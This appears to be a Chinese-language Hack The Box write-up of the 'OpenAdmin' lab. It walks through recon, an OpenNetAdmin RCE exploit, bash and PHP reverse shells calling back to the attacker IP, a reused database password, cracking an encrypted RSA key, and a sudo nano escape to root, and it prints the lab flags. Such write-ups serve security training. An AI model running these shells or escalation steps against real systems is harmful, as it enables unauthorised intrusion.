[Meachines] [Easy] OpenAdmin OpenNetAdmin-RCE+RSA私…

2024-08-13 175 0

信息收集

IP Address Opening Ports
10.10.10.171 TCP:22,80

$ nmap -p- 10.10.10.171 --min-rate 1000 -sC -sV

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 4b:98:df:85:d1:7e:f0:3d:da:48:cd:bc:92:00:b7:54 (RSA)
|   256 dc:eb:3d:c9:44:d1:18:b1:22:b4:cf:de:bd:6c:7a:54 (ECDSA)
|_  256 dc:ad:ca:3c:11:31:5b:6f:e6:a4:89:34:7c:9b:e5:50 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

HTTP

$ gobuster dir -u "http://10.10.10.171/" -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -x html,txt,php -b 404,403 -t 50

[Meachines] [Easy] OpenAdmin OpenNetAdmin-RCE+RSA私…插图

username:admin password:admin

http://10.10.10.171/ona/

$ searchsploit OpenNetAdmin

[Meachines] [Easy] OpenAdmin OpenNetAdmin-RCE+RSA私…插图1

$ cp /usr/share/exploitdb/exploits/php/webapps/47691.sh ./exp.sh

$ ./exp.sh 10.10.10.171/ona/

[Meachines] [Easy] OpenAdmin OpenNetAdmin-RCE+RSA私…插图2

$ /bin/bash -c 'bash -i >%26 /dev/tcp/10.10.16.14/10032 0>%261'

[Meachines] [Easy] OpenAdmin OpenNetAdmin-RCE+RSA私…插图3

www-data 横向 jimmy

$ cat /var/www/html/ona/local/config/database_settings.inc.php

[Meachines] [Easy] OpenAdmin OpenNetAdmin-RCE+RSA私…插图4

username:ona_sys password:n1nj4W4rri0R!

$ su jimmy

[Meachines] [Easy] OpenAdmin OpenNetAdmin-RCE+RSA私…插图5

jimmy 横向 joanna

方法1:HTTP

$ cat /etc/apache2/sites-enabled/internal.conf

[Meachines] [Easy] OpenAdmin OpenNetAdmin-RCE+RSA私…插图6

$ ssh -i ~/.ssh/id_ed25519 [email protected] -L 52846:localhost:52846

http://127.0.0.1:52846/

[Meachines] [Easy] OpenAdmin OpenNetAdmin-RCE+RSA私…插图7

$ vi /var/www/internal/reverse.php

<?php system("/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.16.14/10033 0>&1'");?>

$ curl http://127.0.0.1:52846/reverse.php

[Meachines] [Easy] OpenAdmin OpenNetAdmin-RCE+RSA私…插图8

方法 2:RSA私钥解密SSH登录

$ cat main.php

$ curl 127.0.0.1:52846/main.php

[Meachines] [Easy] OpenAdmin OpenNetAdmin-RCE+RSA私…插图9

-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,2AF25344B8391A25A9B318F3FD767D6D

kG0UYIcGyaxupjQqaS2e1HqbhwRLlNctW2HfJeaKUjWZH4usiD9AtTnIKVUOpZN8
ad/StMWJ+MkQ5MnAMJglQeUbRxcBP6++Hh251jMcg8ygYcx1UMD03ZjaRuwcf0YO
ShNbbx8Euvr2agjbF+ytimDyWhoJXU+UpTD58L+SIsZzal9U8f+Txhgq9K2KQHBE
6xaubNKhDJKs/6YJVEHtYyFbYSbtYt4lsoAyM8w+pTPVa3LRWnGykVR5g79b7lsJ
ZnEPK07fJk8JCdb0wPnLNy9LsyNxXRfV3tX4MRcjOXYZnG2Gv8KEIeIXzNiD5/Du
y8byJ/3I3/EsqHphIHgD3UfvHy9naXc/nLUup7s0+WAZ4AUx/MJnJV2nN8o69JyI
9z7V9E4q/aKCh/xpJmYLj7AmdVd4DlO0ByVdy0SJkRXFaAiSVNQJY8hRHzSS7+k4
piC96HnJU+Z8+1XbvzR93Wd3klRMO7EesIQ5KKNNU8PpT+0lv/dEVEppvIDE/8h/
/U1cPvX9Aci0EUys3naB6pVW8i/IY9B6Dx6W4JnnSUFsyhR63WNusk9QgvkiTikH
40ZNca5xHPij8hvUR2v5jGM/8bvr/7QtJFRCmMkYp7FMUB0sQ1NLhCjTTVAFN/AZ
fnWkJ5u+To0qzuPBWGpZsoZx5AbA4Xi00pqqekeLAli95mKKPecjUgpm+wsx8epb
9FtpP4aNR8LYlpKSDiiYzNiXEMQiJ9MSk9na10B5FFPsjr+yYEfMylPgogDpES80
X1VZ+N7S8ZP+7djB22vQ+/pUQap3PdXEpg3v6S4bfXkYKvFkcocqs8IivdK1+UFg
S33lgrCM4/ZjXYP2bpuE5v6dPq+hZvnmKkzcmT1C7YwK1XEyBan8flvIey/ur/4F
FnonsEl16TZvolSt9RH/19B7wfUHXXCyp9sG8iJGklZvteiJDG45A4eHhz8hxSzh
Th5w5guPynFv610HJ6wcNVz2MyJsmTyi8WuVxZs8wxrH9kEzXYD/GtPmcviGCexa
RTKYbgVn4WkJQYncyC0R1Gv3O8bEigX4SYKqIitMDnixjM6xU0URbnT1+8VdQH7Z
uhJVn1fzdRKZhWWlT+d+oqIiSrvd6nWhttoJrjrAQ7YWGAm2MBdGA/MxlYJ9FNDr
1kxuSODQNGtGnWZPieLvDkwotqZKzdOg7fimGRWiRv6yXo5ps3EJFuSU1fSCv2q2
XGdfc8ObLC7s3KZwkYjG82tjMZU+P5PifJh6N0PqpxUCxDqAfY+RzcTcM/SLhS79
yPzCZH8uWIrjaNaZmDSPC/z+bWWJKuu4Y1GCXCqkWvwuaGmYeEnXDOxGupUchkrM
+4R21WQ+eSaULd2PDzLClmYrplnpmbD7C7/ee6KDTl7JMdV25DM9a16JYOneRtMt
qlNgzj0Na4ZNMyRAHEl1SF8a72umGO2xLWebDoYf5VSSSZYtCNJdwt3lF7I8+adt
z0glMMmjR2L5c2HdlTUt5MgiY8+qkHlsL6M91c4diJoEXVh+8YpblAoogOHHBlQe
K1I1cqiDbVE/bmiERK+G4rqa0t7VQN6t2VWetWrGb+Ahw/iMKhpITWLWApA3k9EN
-----END RSA PRIVATE KEY-----

$ openssl rsa -in id_rsa

[Meachines] [Easy] OpenAdmin OpenNetAdmin-RCE+RSA私…插图10

$ grep -i ninja /usr/share/wordlists/rockyou.txt > pass.txt

$ ssh2john id_rsa >./id_rsa.john

$ john --wordlist=./pass.txt id_rsa.john

password:bloodninjas

[Meachines] [Easy] OpenAdmin OpenNetAdmin-RCE+RSA私…插图11

$ openssl rsa -in id_rsa -out id_rsa_dec

[Meachines] [Easy] OpenAdmin OpenNetAdmin-RCE+RSA私…插图12

User.txt

f6a493f3f0bb5732733a0f6e0eae9cf9

权限提升

$ sudo -l

[Meachines] [Easy] OpenAdmin OpenNetAdmin-RCE+RSA私…插图13

$ sudo /bin/nano /opt/priv

^R^X

reset; sh 1>&0 2>&0

[Meachines] [Easy] OpenAdmin OpenNetAdmin-RCE+RSA私…插图14

Root.txt

709cb8750a646cbc3d99cedbc8d23de7


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

webpack打包站点,js文件名批量获取思路
加密对抗靶场enctypt——labs通关
【论文速读】| 注意力是实现基于大语言模型的代码漏洞定位的关键
蓝队技术——Sysmon识别检测宏病毒
内网渗透学习|powershell上线cs
LLM attack中的API调用安全问题及靶场实践

发布评论